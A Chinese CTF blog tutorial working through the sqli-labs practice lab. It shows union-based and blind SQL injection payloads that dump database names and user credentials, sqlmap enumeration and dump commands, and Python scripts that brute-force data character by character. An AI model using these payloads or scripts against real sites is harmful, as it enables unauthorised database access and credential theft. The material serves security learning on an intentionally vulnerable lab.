文章目录
README
- CTFer
- WEB狗
- 持续更新
- 乌市素质单男
Sqli-labs
README
- 基于buuoj的sqlilab环境:Buuoj——CTF界的高考题库
- 靶场环境
- 靶场配套教程
- 只写一些我觉得比较好玩的,不分难度
Less-1|最基础的sql注入
- 写第一个是因为一点过滤都没有,可以作为一些paylaod的实验
- 传入参数
?id=1回显
- 传入入
?id=1',报错,因为是第一关,所以没什么过滤,就不一一测试了,直接打paylaod - 传入
?id=-1 'union select 1,2,database()--+,回显
Welcome Dhakkan
Your Login name:2
Your Password:security
- 其中security为database()的值
- 传入
?id=-1 'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+,获取表名,回显
Welcome Dhakkan
Your Login name:2
Your Password:emails,referers,uagents,users
- 传入
?id=-1 'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+获取本数据库中的user表的所有列名,回显
Welcome Dhakkan
Your Login name:2
Your Password:id,email_id,id,referer,ip_address,id,uagent,ip_address,username,id,username,password
- 传入
?id=-1 'union select 1,group_concat(username),group_concat(password) from users--+,获取所有用户名和密码,回显
Welcome Dhakkan
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-5|最基础的盲注
- 首先学习一下盲注基础
- 经过对几个函数的学习,我们借用Less-5来学习一下脚本的编写
- 和前几个Less不同,Less-5,不回显用户的数据,只有回显
You are in........... - 我们先来测试一下这个语句
?id=-1' or '1'='1,可以发现依然回显You are in........... - 语句
?id=-1' or '1'='1是比较常用的几个测试是否存在注入的语句,可以巧用and,or,&,|等符号进行测试 - 再构造一个payload
?id=-1' or substr((select 1),1,1)=1%23,利用由于or后的语句为真,所以依旧会回显You are in........... - 测试payload
?id=-1' or substr((select database()),1,1)='a'%23,使用这个payload,我们可以逐个字符爆出database()的结果,只需要更改substr()的第二个参数和与之比较的值(可以用=,>,<等) - 最简单的是使用sqlmap直接跑,这里我给出一些命令,就不写具体的回显结果了
# 判断是否存在注入点
./sqlmap.py -u "http://4729c696-0f41-440b-a796-98ca5f53b157.node3.buuoj.cn/Less-5/?id=1"
# 爆数据库名
# 在第一条语句后加上
--dbs
# 爆表名
# 在第一条语句的后面加上 -D 数据库名 --tables 如:
-D security --tables
# 爆列名
-D security -T users --columns
# 爆数据库内容
-D security -T users --dump-all
- sqlmap在实战中是一种非常好用的工具
- 可以通过配置,绕过各种waf
- 但是为了能更好的学习盲注的原理,这里再示例一下脚本的编写
- 先看一下requests库的使用–传送门
- 编写一个最简单的脚本,直接遍历
import requests
# 脚本中paylaod又套了个ASCII是为了爆破的更加准确,直接用substr有时会大小写出现偏差
url = 'http://4729c696-0f41-440b-a796-98ca5f53b157.node3.buuoj.cn/Less-5/?id=-1\' or ascii(substr((select database()),{},1))={}%23'
s1 = requests.session()
res = '' #存放结果
for i in range(1,1000):
tmp = res #记录res的值
for j in range(32,127):#所有能输出的字符的ASCII值范围
url_tmp = url.format(i,j)
r1 = s1.get(url_tmp)
if 'You are in.....' in r1.text:
res += chr(j)
print(res)
break
if res == tmp: #遍历一遍ASCII的值,res还没改变说明已经爆破结束了
print(res)
exit(-1)
- 但是直接遍历有时候效率很低
- 所以我们在遍历的基础上稍加改进,采用
>用二分法控制遍历,能提高不少效率
import requests
# 脚本中paylaod又套了个ASCII是为了爆破的更加准确,直接用substr有时会大小写出现偏差
url = 'http://4729c696-0f41-440b-a796-98ca5f53b157.node3.buuoj.cn/Less-5/?id=-1\' or ascii(substr((select database()),{},1))>{}%23'
s1 = requests.session()
res = '' #存放结果
for i in range(1,1000):
tmp = len(res) #记录res的值
high = 127
low = 31
mid = (low + high) // 2
while high > low:
url_tmp = url.format(i,mid)
r1 = s1.get(url_tmp)
if 'You are in.....' in r1.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
res += chr(int(mid))
print(res)
if mid == 31:
print(res[:-1])
print('end.......')
exit(-1)
CTF真题
- 基于其他的比赛题目
- 有的只放脚本或其他比赛中的wp链接,不做过多描述
公益赛_ichunqiu_easysqli_copy|set…prepare…execute
公益赛_ichunqiu_Ezsqli|过滤in,union(.*?)select
公益赛_ichunqiu_blacklist|过滤select使用handler
[SUCTF 2019]EasySQL|sql_mode=PIPES_AS_CONCAT
[BJDCTF 2nd]简单注入|regexp binary 注入
版权声明:本文为qq_40648358原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。